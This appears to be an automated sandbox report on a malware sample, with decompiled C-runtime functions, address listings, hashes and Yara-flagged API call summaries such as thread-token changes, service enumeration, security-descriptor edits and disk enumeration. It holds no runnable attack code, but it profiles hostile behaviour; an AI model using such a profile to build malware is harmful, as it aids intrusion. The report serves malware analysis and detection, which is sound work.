                          								L31:
                          								E001644F8(_t39, _t43, _t49, _t53, _t60);
                          								asm("int3");
                          								_push(_t39);
                          								_push(_t60);
                          								_push(_t53);
                          								_t61 = GetLastError();
                          								_t9 =  *0x173050; // 0x2
                          								__eflags = _t9 - 0xffffffff;
                          								if(__eflags == 0) {
                          									L38:
                          									_t10 = E00166F02(__eflags, _t9, 0xffffffff);
                          									__eflags = _t10;
                          									if(_t10 == 0) {
                          										goto L35;
                          									} else {
                          										_t54 = E00164FC8(1, 0x364);
                          										__eflags = _t54;
                          										if(__eflags != 0) {
                          											__eflags = E00166F02(__eflags,  *0x173050, _t54);
                          											if(__eflags != 0) {
                          												E001647EE(_t54, 0x17427c);
                          												E00165025(0);
                          												goto L45;
                          											} else {
                          												_t40 = 0;
                          												E00166F02(__eflags,  *0x173050, 0);
                          												_push(_t54);
                          												goto L41;
                          											}
                          										} else {
                          											_t40 = 0;
                          											__eflags = 0;
                          											E00166F02(0,  *0x173050, 0);
                          											_push(0);
                          											L41:
                          											E00165025();
                          											goto L36;
                          										}
                          									}
                          								} else {
                          									_t54 = E00166EC3(__eflags, _t9);
                          									__eflags = _t54;
                          									if(__eflags == 0) {
                          										_t9 =  *0x173050; // 0x2
                          										goto L38;
                          									} else {
                          										__eflags = _t54 - 0xffffffff;
                          										if(_t54 != 0xffffffff) {
                          											L45:
                          											_t40 = _t54;
                          										} else {
                          											L35:
                          											_t40 = 0;
                          											__eflags = 0;
                          											L36:
                          											_t54 = _t40;
                          										}
                          									}
                          								}
                          								SetLastError(_t61);
                          								asm("sbb edi, edi");
                          								_t56 =  ~_t54 & _t40;
                          								__eflags = _t56;
                          								return _t56;
                          							} else {
                          								L29:
                          								__eflags = _t60;
                          								if(_t60 == 0) {
                          									goto L31;
                          								} else {
                          									return _t60;
                          								}
                          							}
                          						}
                          					}
                          				} else {
                          					return _t53;
                          				}
                          			}























                          0x001649c0
                          0x001649c0
                          0x001649cb
                          0x001649cd
                          0x001649d2
                          0x001649d5
                          0x001649f3
                          0x001649f6
                          0x001649fb
                          0x001649fd
                          0x00000000
                          0x001649ff
                          0x00164a0b
                          0x00164a0e
                          0x00164a0f
                          0x00164a11
                          0x00164a36
                          0x00164a38
                          0x00164a51
                          0x00164a58
                          0x00164a5d
                          0x00000000
                          0x00164a3a
                          0x00164a3a
                          0x00164a43
                          0x00164a48
                          0x00000000
                          0x00164a48
                          0x00164a13
                          0x00164a13
                          0x00164a13
                          0x00164a1c
                          0x00164a21
                          0x00164a22
                          0x00164a22
                          0x00164a27
                          0x00000000
                          0x00164a27
                          0x00164a11
                          0x001649d7
                          0x001649dd
                          0x001649e1
                          0x001649ee
                          0x00000000
                          0x001649e3
                          0x001649e6
                          0x00164a60
                          0x00164a60
                          0x001649e8
                          0x001649e8
                          0x001649e8
                          0x001649ea
                          0x001649ea
                          0x001649ea
                          0x001649e6
                          0x001649e1
                          0x00164a63
                          0x00164a6b
                          0x00164a6d
                          0x00164a6f
                          0x00164a77
                          0x00164a7c
                          0x00164a7d
                          0x00164a82
                          0x00164a83
                          0x00164a86
                          0x00164aa0
                          0x00164aa3
                          0x00164aa8
                          0x00164aaa
                          0x00000000
                          0x00164aac
                          0x00164ab8
                          0x00164abb
                          0x00164abc
                          0x00164abe
                          0x00164ae1
                          0x00164ae3
                          0x00164afa
                          0x00164b01
                          0x00164b06
                          0x00000000
                          0x00164ae5
                          0x00164aec
                          0x00164af1
                          0x00000000
                          0x00164af1
                          0x00164ac0
                          0x00164ac7
                          0x00164acc
                          0x00164acd
                          0x00164acd
                          0x00164ad2
                          0x00000000
                          0x00164ad2
                          0x00164abe
                          0x00164a88
                          0x00164a8e
                          0x00164a90
                          0x00164a92
                          0x00164a9b
                          0x00000000
                          0x00164a94
                          0x00164a94
                          0x00164a97
                          0x00164b11
                          0x00164b11
                          0x00164b16
                          0x00164b19
                          0x00164b1a
                          0x00164b1b
                          0x00164b22
                          0x00164b24
                          0x00164b29
                          0x00164b2c
                          0x00164b4a
                          0x00164b4d
                          0x00164b52
                          0x00164b54
                          0x00000000
                          0x00164b56
                          0x00164b62
                          0x00164b66
                          0x00164b68
                          0x00164b8d
                          0x00164b8f
                          0x00164ba8
                          0x00164baf
                          0x00000000
                          0x00164b91
                          0x00164b91
                          0x00164b9a
                          0x00164b9f
                          0x00000000
                          0x00164b9f
                          0x00164b6a
                          0x00164b6a
                          0x00164b6a
                          0x00164b73
                          0x00164b78
                          0x00164b79
                          0x00164b79
                          0x00000000
                          0x00164b7e
                          0x00164b68
                          0x00164b2e
                          0x00164b34
                          0x00164b36
                          0x00164b38
                          0x00164b45
                          0x00000000
                          0x00164b3a
                          0x00164b3a
                          0x00164b3d
                          0x00164bb7
                          0x00164bb7
                          0x00164b3f
                          0x00164b3f
                          0x00164b3f
                          0x00164b3f
                          0x00164b41
                          0x00164b41
                          0x00164b41
                          0x00164b3d
                          0x00164b38
                          0x00164bba
                          0x00164bc2
                          0x00164bc4
                          0x00164bc4
                          0x00164bcb
                          0x00164a99
                          0x00164b09
                          0x00164b09
                          0x00164b0b
                          0x00000000
                          0x00164b0d
                          0x00164b10
                          0x00164b10
                          0x00164b0b
                          0x00164a97
                          0x00164a92
                          0x00164a71
                          0x00164a76
                          0x00164a76

                          APIs
                          • GetLastError.KERNEL32(?,?,?,00168D1E,?,00000001,001676C5,?,001691DD,00000001,?,?,?,00167654,?,?), ref: 001649C5
                          • _free.LIBCMT ref: 00164A22
                          • _free.LIBCMT ref: 00164A58
                          • SetLastError.KERNEL32(00000000,00000002,000000FF,?,001691DD,00000001,?,?,?,00167654,?,?,?,001722A0,0000002C,001676C5), ref: 00164A63
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: ErrorLast_free
                          • String ID:
                          • API String ID: 2283115069-0
                          • Opcode ID: 454572df6abf76094c792f1a862489c54cce8ca2f53be8a4e720379fd0df7883
                          • Instruction ID: ebca053762d09b1bf68cee443089e03ba87eb148d7a49b3eb4c86bc07d31532a
                          • Opcode Fuzzy Hash: 454572df6abf76094c792f1a862489c54cce8ca2f53be8a4e720379fd0df7883
                          • Instruction Fuzzy Hash: 51114C362441103BC72077F4AC97E3F222AABD1375B350224F225875E1EF218C719124
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 85%
                          			E00164B17(void* __ecx) {
                          				intOrPtr _t2;
                          				signed int _t3;
                          				signed int _t13;
                          				signed int _t18;
                          				long _t21;
                          
                          				_t21 = GetLastError();
                          				_t2 =  *0x173050; // 0x2
                          				_t24 = _t2 - 0xffffffff;
                          				if(_t2 == 0xffffffff) {
                          					L6:
                          					_t3 = E00166F02(__eflags, _t2, 0xffffffff);
                          					__eflags = _t3;
                          					if(_t3 == 0) {
                          						goto L3;
                          					} else {
                          						_t18 = E00164FC8(1, 0x364);
                          						__eflags = _t18;
                          						if(__eflags != 0) {
                          							__eflags = E00166F02(__eflags,  *0x173050, _t18);
                          							if(__eflags != 0) {
                          								E001647EE(_t18, 0x17427c);
                          								E00165025(0);
                          								goto L13;
                          							} else {
                          								_t13 = 0;
                          								E00166F02(__eflags,  *0x173050, 0);
                          								_push(_t18);
                          								goto L9;
                          							}
                          						} else {
                          							_t13 = 0;
                          							__eflags = 0;
                          							E00166F02(0,  *0x173050, 0);
                          							_push(0);
                          							L9:
                          							E00165025();
                          							goto L4;
                          						}
                          					}
                          				} else {
                          					_t18 = E00166EC3(_t24, _t2);
                          					if(_t18 == 0) {
                          						_t2 =  *0x173050; // 0x2
                          						goto L6;
                          					} else {
                          						if(_t18 != 0xffffffff) {
                          							L13:
                          							_t13 = _t18;
                          						} else {
                          							L3:
                          							_t13 = 0;
                          							L4:
                          							_t18 = _t13;
                          						}
                          					}
                          				}
                          				SetLastError(_t21);
                          				asm("sbb edi, edi");
                          				return  ~_t18 & _t13;
                          			}








                          0x00164b22
                          0x00164b24
                          0x00164b29
                          0x00164b2c
                          0x00164b4a
                          0x00164b4d
                          0x00164b52
                          0x00164b54
                          0x00000000
                          0x00164b56
                          0x00164b62
                          0x00164b66
                          0x00164b68
                          0x00164b8d
                          0x00164b8f
                          0x00164ba8
                          0x00164baf
                          0x00000000
                          0x00164b91
                          0x00164b91
                          0x00164b9a
                          0x00164b9f
                          0x00000000
                          0x00164b9f
                          0x00164b6a
                          0x00164b6a
                          0x00164b6a
                          0x00164b73
                          0x00164b78
                          0x00164b79
                          0x00164b79
                          0x00000000
                          0x00164b7e
                          0x00164b68
                          0x00164b2e
                          0x00164b34
                          0x00164b38
                          0x00164b45
                          0x00000000
                          0x00164b3a
                          0x00164b3d
                          0x00164bb7
                          0x00164bb7
                          0x00164b3f
                          0x00164b3f
                          0x00164b3f
                          0x00164b41
                          0x00164b41
                          0x00164b41
                          0x00164b3d
                          0x00164b38
                          0x00164bba
                          0x00164bc2
                          0x00164bcb

                          APIs
                          • GetLastError.KERNEL32(?,00000000,?,00164FBA,00167F2A,?,00167761,?,00000000,?,?,?,?,001677AC,?,00000000), ref: 00164B1C
                          • _free.LIBCMT ref: 00164B79
                          • _free.LIBCMT ref: 00164BAF
                          • SetLastError.KERNEL32(00000000,00000002,000000FF,?,00164FBA,00167F2A,?,00167761,?,00000000,?,?,?,?,001677AC,?), ref: 00164BBA
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: ErrorLast_free
                          • String ID:
                          • API String ID: 2283115069-0
                          • Opcode ID: 10151e983dbd235d310666af79596b98dde47850b9de358a39eaaa3bf4e4e721
                          • Instruction ID: e206d0f0ec3ea8c65b23a121e1c831c6e4b87c9fff539df2a0bf2f0d658cd77f
                          • Opcode Fuzzy Hash: 10151e983dbd235d310666af79596b98dde47850b9de358a39eaaa3bf4e4e721
                          • Instruction Fuzzy Hash: 3E1126322046007BDB1167B9FC96F2F266AABE1370B350224F138971E1EF61CCB19220
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E00169DC6(void* _a4, long _a8, DWORD* _a12) {
                          				void* _t13;
                          
                          				_t13 = WriteConsoleW( *0x173860, _a4, _a8, _a12, 0);
                          				if(_t13 == 0 && GetLastError() == 6) {
                          					E00169DAF();
                          					E00169D71();
                          					_t13 = WriteConsoleW( *0x173860, _a4, _a8, _a12, _t13);
                          				}
                          				return _t13;
                          			}




                          0x00169de3
                          0x00169de7
                          0x00169df4
                          0x00169df9
                          0x00169e14
                          0x00169e14
                          0x00169e1a

                          APIs
                          • WriteConsoleW.KERNEL32(?,?,001676C5,00000000,?,?,0016981B,?,00000001,?,00000001,?,00168CAD,00000000,?,00000001), ref: 00169DDD
                          • GetLastError.KERNEL32(?,0016981B,?,00000001,?,00000001,?,00168CAD,00000000,?,00000001,00000000,00000001,?,00169201,00167654), ref: 00169DE9
                            • Part of subcall function 00169DAF: CloseHandle.KERNEL32(FFFFFFFE,00169DF9,?,0016981B,?,00000001,?,00000001,?,00168CAD,00000000,?,00000001,00000000,00000001), ref: 00169DBF
                          • ___initconout.LIBCMT ref: 00169DF9
                            • Part of subcall function 00169D71: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00169DA0,00169808,00000001,?,00168CAD,00000000,?,00000001,00000000), ref: 00169D84
                          • WriteConsoleW.KERNEL32(?,?,001676C5,00000000,?,0016981B,?,00000001,?,00000001,?,00168CAD,00000000,?,00000001,00000000), ref: 00169E0E
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
                          • String ID:
                          • API String ID: 2744216297-0
                          • Opcode ID: a53d8708f8a21ed6abf314eb9d46c1c982a5b19530d90ac038b1b24c81b605b8
                          • Instruction ID: 4d77352bf7012c49308fb77f8a0c4cc3425bc0120822981d7a3d375889d34c42
                          • Opcode Fuzzy Hash: a53d8708f8a21ed6abf314eb9d46c1c982a5b19530d90ac038b1b24c81b605b8
                          • Instruction Fuzzy Hash: 83F03036900158FBCF222FE6EC049993F6AFB087A1F008120FE2885530C732C9B0EB95
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E00164382() {
                          
                          				E00165025( *0x174380);
                          				 *0x174380 = 0;
                          				E00165025( *0x174384);
                          				 *0x174384 = 0;
                          				E00165025( *0x173f10);
                          				 *0x173f10 = 0;
                          				E00165025( *0x173f14);
                          				 *0x173f14 = 0;
                          				return 1;
                          			}



                          0x0016438b
                          0x00164398
                          0x0016439e
                          0x001643a9
                          0x001643af
                          0x001643ba
                          0x001643c0
                          0x001643c8
                          0x001643d1

                          APIs
                          • _free.LIBCMT ref: 0016438B
                            • Part of subcall function 00165025: HeapFree.KERNEL32(00000000,00000000,?,00166618,?,00000000,?,?,?,0016663F,?,00000007,?,?,00166B01,?), ref: 0016503B
                            • Part of subcall function 00165025: GetLastError.KERNEL32(?,?,00166618,?,00000000,?,?,?,0016663F,?,00000007,?,?,00166B01,?,?), ref: 0016504D
                          • _free.LIBCMT ref: 0016439E
                          • _free.LIBCMT ref: 001643AF
                          • _free.LIBCMT ref: 001643C0
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _free$ErrorFreeHeapLast
                          • String ID:
                          • API String ID: 776569668-0
                          • Opcode ID: 882ab62ac2ff4329622826b63f147a8416766b0997ba19a61feaaa5c7401adb2
                          • Instruction ID: 03a7858828a14993d1f2adb1832f9612d7d08163fa372d18ac457d77a425eae1
                          • Opcode Fuzzy Hash: 882ab62ac2ff4329622826b63f147a8416766b0997ba19a61feaaa5c7401adb2
                          • Instruction Fuzzy Hash: 34E0B6B98549309BA7127F14BD09449BB7AF769780701400AF42C1AA39E73146E2AAEB
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Executed Functions

                          APIs
                          • CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 029A7FCE
                          • Thread32First.KERNEL32(00000000,0000001C), ref: 029A7FE2
                          • GetCurrentProcessId.KERNEL32(00000000), ref: 029A7FED
                          • GetCurrentThreadId.KERNEL32 ref: 029A7FF4
                          • OpenThread.KERNEL32(00000080,00000000,?,00000000), ref: 029A800F
                          • SetThreadToken.KERNELBASE(?,?), ref: 029A8023
                            • Part of subcall function 029A5416: CloseHandle.KERNEL32(00000000,?,029A37B5,5A036A02,00000000), ref: 029A5422
                          • Thread32Next.KERNEL32(00000000,0000001C), ref: 029A8037
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Thread$CurrentThread32$CloseCreateFirstHandleNextOpenProcessSnapshotTokenToolhelp32
                          • String ID:
                          • API String ID: 3961639229-0
                          • Opcode ID: 9434ca60b3220f1ebc6cdd4c7682b85cc26764aa6ec011c43d3930d0cab99e7c
                          • Instruction ID: 0d687ea21c369c3e19cb36b2dd54753127d13f038e5d87ab3ca8a0fd41f0db5c
                          • Opcode Fuzzy Hash: 9434ca60b3220f1ebc6cdd4c7682b85cc26764aa6ec011c43d3930d0cab99e7c
                          • Instruction Fuzzy Hash: 95117031E44319AFDB21ABF59959AFEBBBCFB09791F104466EA04E2100DB30D9548BE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID:
                          • String ID:
                          • API String ID:
                          • Opcode ID: 1250174dd6ffb3ded1cbe1e0e0da9d2ae8db9223125fe6023758a6d5d6062317
                          • Instruction ID: 7d20680143fc7ae86ece4351fd31626ba2f6827665e4443cf3384038d94e4c91
                          • Opcode Fuzzy Hash: 1250174dd6ffb3ded1cbe1e0e0da9d2ae8db9223125fe6023758a6d5d6062317
                          • Instruction Fuzzy Hash: 4F617D7190071AAFDB10AF68CC58ABEB7BCFF04364F504566E919A6140EB35AE50CFD4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • timeBeginPeriod.WINMM(00000001,?,029A6134,00000000,00000000,00000000,?,00000030,00000000,?,?,029A6F8E,?,00000020,00000000), ref: 029A61CB
                          • timeGetTime.WINMM(?,029A6F8E,?,00000020,00000000,?,029A6F37,?,?,029A252C,?,029B3440), ref: 029A61D1
                          • Sleep.KERNELBASE(00000001,?,029A6F8E,?,00000020,00000000,?,029A6F37,?,?,029A252C,?,029B3440), ref: 029A61DB
                          • timeGetTime.WINMM(?,029A6F8E,?,00000020,00000000,?,029A6F37,?,?,029A252C,?,029B3440), ref: 029A61E1
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: time$Time$BeginPeriodSleep
                          • String ID:
                          • API String ID: 4118631919-0
                          • Opcode ID: 7b18f243807b0b8353adb87349adf648f83045c0c22d221f3bef286b133c82e5
                          • Instruction ID: d2f116a27b80b37b676c4dddf6eb851e2ede09629f55899a3aee6063cae3551c
                          • Opcode Fuzzy Hash: 7b18f243807b0b8353adb87349adf648f83045c0c22d221f3bef286b133c82e5
                          • Instruction Fuzzy Hash: 72C01231C88220AFD7222B30BA2D6F83F64EB003A2F050C60FC0685481EAA00CE08AF0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • GetDriveTypeW.KERNELBASE(?,00000001,00000000,029B1278,?,?,?,?,029A1AC0,?), ref: 029A5569
                          • GetDiskFreeSpaceExW.KERNELBASE(?,?,00000006,0000000E,?,?,?,?,029A1AC0,?), ref: 029A559C
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: DiskDriveFreeSpaceType
                          • String ID: A:\
                          • API String ID: 1419299958-3379428675
                          • Opcode ID: 1d38d064e6002f5f820f2e1c3b1a6facd897b625d709b7d4fc6625c5eefb6618
                          • Instruction ID: f6504e2f579b3a9d121614bf2a4118cf68723e2b64dec71526ebf71c42632b66
                          • Opcode Fuzzy Hash: 1d38d064e6002f5f820f2e1c3b1a6facd897b625d709b7d4fc6625c5eefb6618
                          • Instruction Fuzzy Hash: 27217176E043169BDB14DFA9D854AAFBBBDFF44710B56862AE904D7200E73099018FD0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A5DBD: OpenSCManagerW.SECHOST(00000000,ServicesActive,00000004,029A6231,?,029A368A,?), ref: 029A5DC6
                          • EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000001,00000000,00000000,00000000,029A3E3F,00000000,00000000,?,?,?,?,?,029A3E3F), ref: 029A426B
                          • RtlGetLastWin32Error.NTDLL ref: 029A4275
                          • EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000001,00000000,00000000,00000000,029A3E3F,00000000,00000000,00000000), ref: 029A42BA
                            • Part of subcall function 029A5D9B: CloseServiceHandle.ADVAPI32(029A3E3F,?,029A42F8,00000000,?,?,?,?,?,029A3E3F,00000000), ref: 029A5DA1
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: EnumServicesStatus$CloseErrorHandleLastManagerOpenServiceWin32
                          • String ID:
                          • API String ID: 1721398322-0
                          • Opcode ID: bae9e789f048eb57f3baccc0da2f1e06b80f9ca753ce37c99c7560f5efb52d35
                          • Instruction ID: 9bc15b5bfe7064b9537c9552ee8fadf8fa0c49bdcdfb2c637f8c8e4c12ff944e
                          • Opcode Fuzzy Hash: bae9e789f048eb57f3baccc0da2f1e06b80f9ca753ce37c99c7560f5efb52d35
                          • Instruction Fuzzy Hash: 5F21F632A04325BADB21AAA18CA5FFF7F6DDF82B94F111065FC01E1040DBA09A41D6F1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • AllocateAndInitializeSid.ADVAPI32(?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,029B33D8,?,?,?,?,029A7CAC), ref: 029A7A28
                          • SetEntriesInAclW.ADVAPI32(00000001,029B33F0,00000000,029B33DC,?,?,?,?,?,029A7CAC,?,?,029A3352,?,00000001), ref: 029A7A8A
                          • SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000004,00000000,00000000,00000000,?,?,?,?,029A7CAC,?,?,029A3352,?,00000001), ref: 029A7AAF
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: AllocateEntriesInfoInitializeNamedSecurity
                          • String ID:
                          • API String ID: 2342141041-0
                          • Opcode ID: 42495a0c6cb890bc0ea977e753eedaff35089dfbc69806e4834978c0504f2ef4
                          • Instruction ID: 644e30a5306f3c096a6594da7c3114db5c97483a9e373bc2673aebecd461d034
                          • Opcode Fuzzy Hash: 42495a0c6cb890bc0ea977e753eedaff35089dfbc69806e4834978c0504f2ef4
                          • Instruction Fuzzy Hash: B011C8B1A88304BFFB02CF95DE96F7B7BACE780744F804858F50686180DBB299508B54
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 029A64AA
                            • Part of subcall function 029A5174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5189
                            • Part of subcall function 029A5174: GetProcessHeap.KERNEL32(?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5198
                          • CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 029A64D1
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: BinaryCryptHeapString$CreateProcess
                          • String ID:
                          • API String ID: 869147093-0
                          • Opcode ID: 8ab80acbe10da4ed4b3b6766d0cd5a8c89d96613e353f2c356fea4b2b3640c84
                          • Instruction ID: c133167ae0a8072a8f378b11550b46629d0bdd361cbb75f188c0a3b2940c46d2
                          • Opcode Fuzzy Hash: 8ab80acbe10da4ed4b3b6766d0cd5a8c89d96613e353f2c356fea4b2b3640c84
                          • Instruction Fuzzy Hash: 8CF019B170021D7FEB215F55ACD4DEB7B9DEF056A8B148425B9489A150D771CD108AA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • CryptAcquireContextW.ADVAPI32(029B306C,00000000,00000000,00000001,F0000000,?,029A721A,?,00000030,00000000,?,?,029A6F8E,?,00000020,00000000), ref: 029A5F97
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: AcquireContextCrypt
                          • String ID:
                          • API String ID: 3951991833-0
                          • Opcode ID: 114ae74c54354ba22ca45c0ba2624a38a5b900e1092855eff1e7261c9c92dee5
                          • Instruction ID: b0fbc746161608232f4d2bc4084b14750a8f62c84baa780b635c2fd6888fd4d9
                          • Opcode Fuzzy Hash: 114ae74c54354ba22ca45c0ba2624a38a5b900e1092855eff1e7261c9c92dee5
                          • Instruction Fuzzy Hash: E4F0A431E8C309BFEF125F60FD15B643B99EB40725F504424FA0898490DB7290609A88
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A5174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5189
                            • Part of subcall function 029A5174: GetProcessHeap.KERNEL32(?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5198
                          • GetUserNameW.ADVAPI32(00000000,029A1A0C), ref: 029A58D6
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Heap$CreateNameProcessUser
                          • String ID:
                          • API String ID: 499767188-0
                          • Opcode ID: 71eab46bcc74357f5971bbc5fc66275e7674b276fc18f2f329b8db29f7e38df2
                          • Instruction ID: c57ba5a6d2a969935ee532bb6f166c0f008839fae9515336e3869e47f8c274e1
                          • Opcode Fuzzy Hash: 71eab46bcc74357f5971bbc5fc66275e7674b276fc18f2f329b8db29f7e38df2
                          • Instruction Fuzzy Hash: FEE0CD32F45335779625D7989C199BFB79CCF02764B51015AEC04E7140D7D1CE0045D1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • GetSystemInfo.KERNELBASE(?,?,029A39DE,?,00000000,00000000,Function_00003B70), ref: 029A5AF5
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: InfoSystem
                          • String ID:
                          • API String ID: 31276548-0
                          • Opcode ID: f92ab7f9038826f65ab638d3b4ca1b7bc335991fe466d1c8935c5b72c65a1a21
                          • Instruction ID: 1c13ea76c377b87f881d6c125d181002b65b3fd4321c933bf915c18523a4a053
                          • Opcode Fuzzy Hash: f92ab7f9038826f65ab638d3b4ca1b7bc335991fe466d1c8935c5b72c65a1a21
                          • Instruction Fuzzy Hash: 55C04C75D4820C978A04EAE59A898AAB7FCE608501B500591ED1993640E621F96486A5
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID:
                          • String ID:
                          • API String ID:
                          • Opcode ID: ede29227446a32036689f75c97dfcf3f9436313e79ab79162d180b354139cb54
                          • Instruction ID: 293eb3e196c796dffe032773cbb7fc54c41fff36a94bc0ffd6f26d95d23da8ff
                          • Opcode Fuzzy Hash: ede29227446a32036689f75c97dfcf3f9436313e79ab79162d180b354139cb54
                          • Instruction Fuzzy Hash: 3EE0EC78D0020CEFCF10DF95D94059CBBB5EB48300F1181A5E80893310E7315A50DF80
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • VariantInit.OLEAUT32(?), ref: 029A2821
                          • VariantInit.OLEAUT32(?), ref: 029A2827
                          • VariantInit.OLEAUT32(?), ref: 029A282D
                          • VariantInit.OLEAUT32(?), ref: 029A2833
                          • VariantInit.OLEAUT32(?), ref: 029A283C
                          • VariantInit.OLEAUT32(?), ref: 029A2845
                          • VariantInit.OLEAUT32(?), ref: 029A284B
                          • lstrcmpiW.KERNEL32(?,?), ref: 029A2980
                          • lstrcmpiW.KERNEL32(?,Running), ref: 029A2A11
                            • Part of subcall function 029A2E57: VariantInit.OLEAUT32(?), ref: 029A2E64
                            • Part of subcall function 029A2E57: SysAllocString.OLEAUT32(?), ref: 029A2E8F
                            • Part of subcall function 029A2E57: VariantClear.OLEAUT32(?), ref: 029A2EEA
                            • Part of subcall function 029A2E57: SysFreeString.OLEAUT32(00000000), ref: 029A2EF5
                          • VariantClear.OLEAUT32(?), ref: 029A2B42
                          • VariantClear.OLEAUT32(?), ref: 029A2B48
